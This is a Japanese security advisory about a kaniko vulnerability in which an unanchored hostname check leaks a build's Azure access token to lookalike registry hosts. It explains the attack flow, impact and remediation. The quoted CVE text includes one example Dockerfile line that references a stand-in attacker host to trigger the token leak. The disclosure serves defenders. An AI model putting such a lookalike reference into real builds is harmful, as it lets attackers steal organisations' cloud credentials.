kanikoでAzureのトークンが漏れる脆弱性、修正版あり
kanikoの1.25.20より前では、ビルド中のAzureのアクセストークンが、ACRに似せたホスト名の外部サーバーへ送られます。Azure上のIDでイメージをビルドしている組織は、1.25.20へ更新し、ビルド対象のDockerfileの出どころも確認してください。
急ぎ度: 早めに
CVSS v3は9.3で修正版も公開済みですが、悪用にはビルドが細工されたDockerfileを処理する必要があるため、Azureの権限を持つビルドから優先して更新する段階です。
関係があるか
kanikoでコンテナイメージをビルドし、そのビルド環境にAzureのID(サービスプリンシパル、ワークロードID、マネージドID)が使える組織が対象です。外部の貢献者やフォークからのDockerfileをビルドする環境ほど影響を受けやすくなります。
| 製品 | 影響を受ける版 | 修正版 |
|---|---|---|
| kaniko(chainguard-forks/kaniko) | 1.25.20より前の版 | 1.25.20 |
確かめ方
- 1CIの設定やKubernetesのマニフェストで、kanikoのexecutorイメージのタグを調べます。実行中のイメージ内では
/kaniko/executor versionで版を確認できます。 - 2使っているkanikoの配布元を確認します。今回の修正版はChainguardのフォークで公開されているため、別の配布元のイメージを使っている場合は、その配布元の告知で対応状況を調べてください。
- 3ビルドのジョブに、AZURE_CLIENT_IDなどのサービスプリンシパル用の環境変数、フェデレーション用のワークロードIDトークン、ノードのマネージドIDのいずれかが渡っているかを確認します。どれも無ければ、送られるトークンがありません。
- 4ビルドするDockerfileを、自社の管理下にある人だけが書いているかを確認します。外部からのプルリクエストや、顧客が持ち込むDockerfileをビルドしているなら、優先して対応します。
何が起きたか
kanikoの1.25.20より前の版では、ビルドに使うAzureのIDのアクセストークンが、攻撃者の管理するレジストリのホストへ送られることがあります。
kanikoはAzure Container Registry(ACR)の認証に、docker-credential-acr-envという認証ヘルパーを使っています。このヘルパーは、ホスト名がACRのものかどうかを、先頭と末尾を固定しない正規表現で判定しています。そのため、.azurecr.io、.azurecr.cn、.azurecr.de、.azurecr.usのいずれかを名前の途中に含むだけのホストも、ACRとして扱われます。
kanikoは、Dockerの設定に認証情報が無く、GoogleやAmazon ECRでもないレジストリについて、接続の前にこのヘルパーへ問い合わせます。ACRに見えるホスト名であれば、ヘルパーはビルドのAzure IDからトークンを取得し、そのホストへ送信します。
Azureの権限が付いたビルドを持つ環境に限れば、影響は大きいと筆者は見ています。対象が限られるぶん、該当する環境では先延ばしにしにくい脆弱性です。
攻撃の流れ
-
1
偽ホストを仕込む
攻撃者が、ACRに見えるホスト名を含む自分のレジストリを、ビルド対象のDockerfileの参照先に紛れ込ませます。
-
2
ビルドが走る
CIなどでkanikoがそのDockerfileを処理し、参照先のイメージを取得しようとします。
-
3
ヘルパーが誤判定
認証ヘルパーが偽のホスト名をACRだと判定し、ビルドのAzure IDからトークンを取得します。
-
4
トークンが送られる
取得したトークンが、攻撃者のホストの認証用の窓口へ送信されます。
-
5
Azureを操作される
攻撃者がトークンを使い、IDの権限の範囲でAzure Resource Managerを操作し、ACRの認証情報にも交換します。
どう悪用されるか
攻撃者はAzureのアカウントを持っている必要がなく、ネットワーク越しに仕掛けられます。ただし、細工された参照先を含むDockerfileを、利用者側のビルドが実際に処理する必要があります。参照先はFROMでもCOPY --from=でも構いません。
ビルドがその参照を解決する段階でトークンが送られるため、RUN命令の実行やイメージのpushは要りません。ビルドの結果が使われなくても、参照を処理した時点で送信は済みます。
被害は、そのIDに付いた権限の範囲に及びます。攻撃者は、トークンの有効期限が切れるまで、Azure Resource Managerをそのロール割り当てのとおりに操作できます。IDがアクセスできるACRのレジストリについては、トークンを認証情報に交換して使えます。CVSSの評価でも、ビルド環境の外のAzureリソースに影響が及ぶこと(スコープの変更)が反映されており、機密性と完全性への影響が高いとされています。可用性への影響はありません。
今すぐやること
-
1
kanikoを1.25.20へ更新する
executorイメージを修正版へ差し替え、すべてのビルドジョブで新しいタグが使われていることを確認します。タグを固定している場合は、固定先も更新してください。配布元がフォークでない場合は、その配布元の告知で修正版の有無を確認します。
/kaniko/executor version -
2
Dockerfileの参照先を洗い出す
自社で管理するリポジトリのDockerfileを調べ、azurecrを含むホスト名のうち、自社のACRではないものが無いかを確認します。直近のビルドログでも、見覚えのないレジストリへの接続が無いかを見てください。
grep -rEn "azurecr\." --include=Dockerfile* . -
3
更新前のビルドで不審な参照があれば、IDを無効化する
不審な参照先が見つかった場合は、そのビルドが使ったサービスプリンシパルの資格情報やフェデレーション設定を失効または更新します。あわせて、AzureのアクティビティログとACRの取得・登録の履歴で、そのIDによる身に覚えのない操作が無いかを調べます。
-
4
ビルド用IDの権限を絞る
ビルドに渡すIDには、必要なACRへのpullとpushだけを許可し、サブスクリプション全体の広いロールは外します。トークンが漏れたときの被害範囲が、権限の広さでそのまま決まるためです。
すぐ更新できないとき
すぐに更新できない場合は、外部の貢献者やフォークから来たDockerfileをビルドするジョブにはAzureのIDを渡さないようにします。ビルド用ネットワークの外向き通信を、利用するレジストリだけに許可する方法もあります。これならトークンが送られる先に届きません。いずれもつなぎの対策なので、修正版への更新は進めてください。
背景
kanikoは、Dockerのデーモンを使わずに、コンテナの中やKubernetesのPodの中でイメージをビルドするツールです。特権を持つDockerソケットを渡さずにすむため、クラスター上のCIで広く使われます。その代わり、ベースイメージの取得やビルド結果の登録のために、クラウドのIDがビルドのジョブに直接渡されることが多く、ビルドの実行環境がそのまま強い認証情報を持つ場所になります。
今回の問題は、認証情報を渡す前の、送信先ホストの確認が甘かったことで起きています。docker-credential-acr-envは環境変数などからAzureのトークンを取得する部品で、ホスト名がACRのものかどうかの判定に、末尾を固定しない正規表現を使っていました。判定が通ると、kanikoはその部品を接続前に呼ぶため、イメージを取得する前の段階でトークンが外へ出ます。アドバイザリーと修正版はChainguardのフォークで公開されており、部品側のリポジトリにも同じ問題を指摘するissueが立てられています。
よくある質問
Q.トークンが漏れたかどうかは、どこで調べればよいですか。
Q.kaniko以外のツールでも、同じ認証ヘルパーを使っていれば影響を受けますか。
この記事は、取得元の公開情報をもとに、人が監修しながらAIを活用して執筆しています。執筆と監修は佐々木 航が担い、公開したあとも人が内容を確認しています。誤りに気づいたときは直し、記事の末尾に訂正の行を残します。対応を決める前に、下の原文と参照先も確認してください。
影響パッケージ
| 種類 | パッケージ | 影響を受ける版 | 修正版 |
|---|---|---|---|
| chainguard-forks | kaniko |
1.25.20 未満 |
1.25.20 |
原文の説明 取得元が公開している説明をそのまま載せています (多くは英語)。
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https:///oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
出典: CVE.org (CVE Program・cvelistV5) NVD
参照URL
- web github.com
- web github.com
- web github.com
- web github.com
- web pkg.go.dev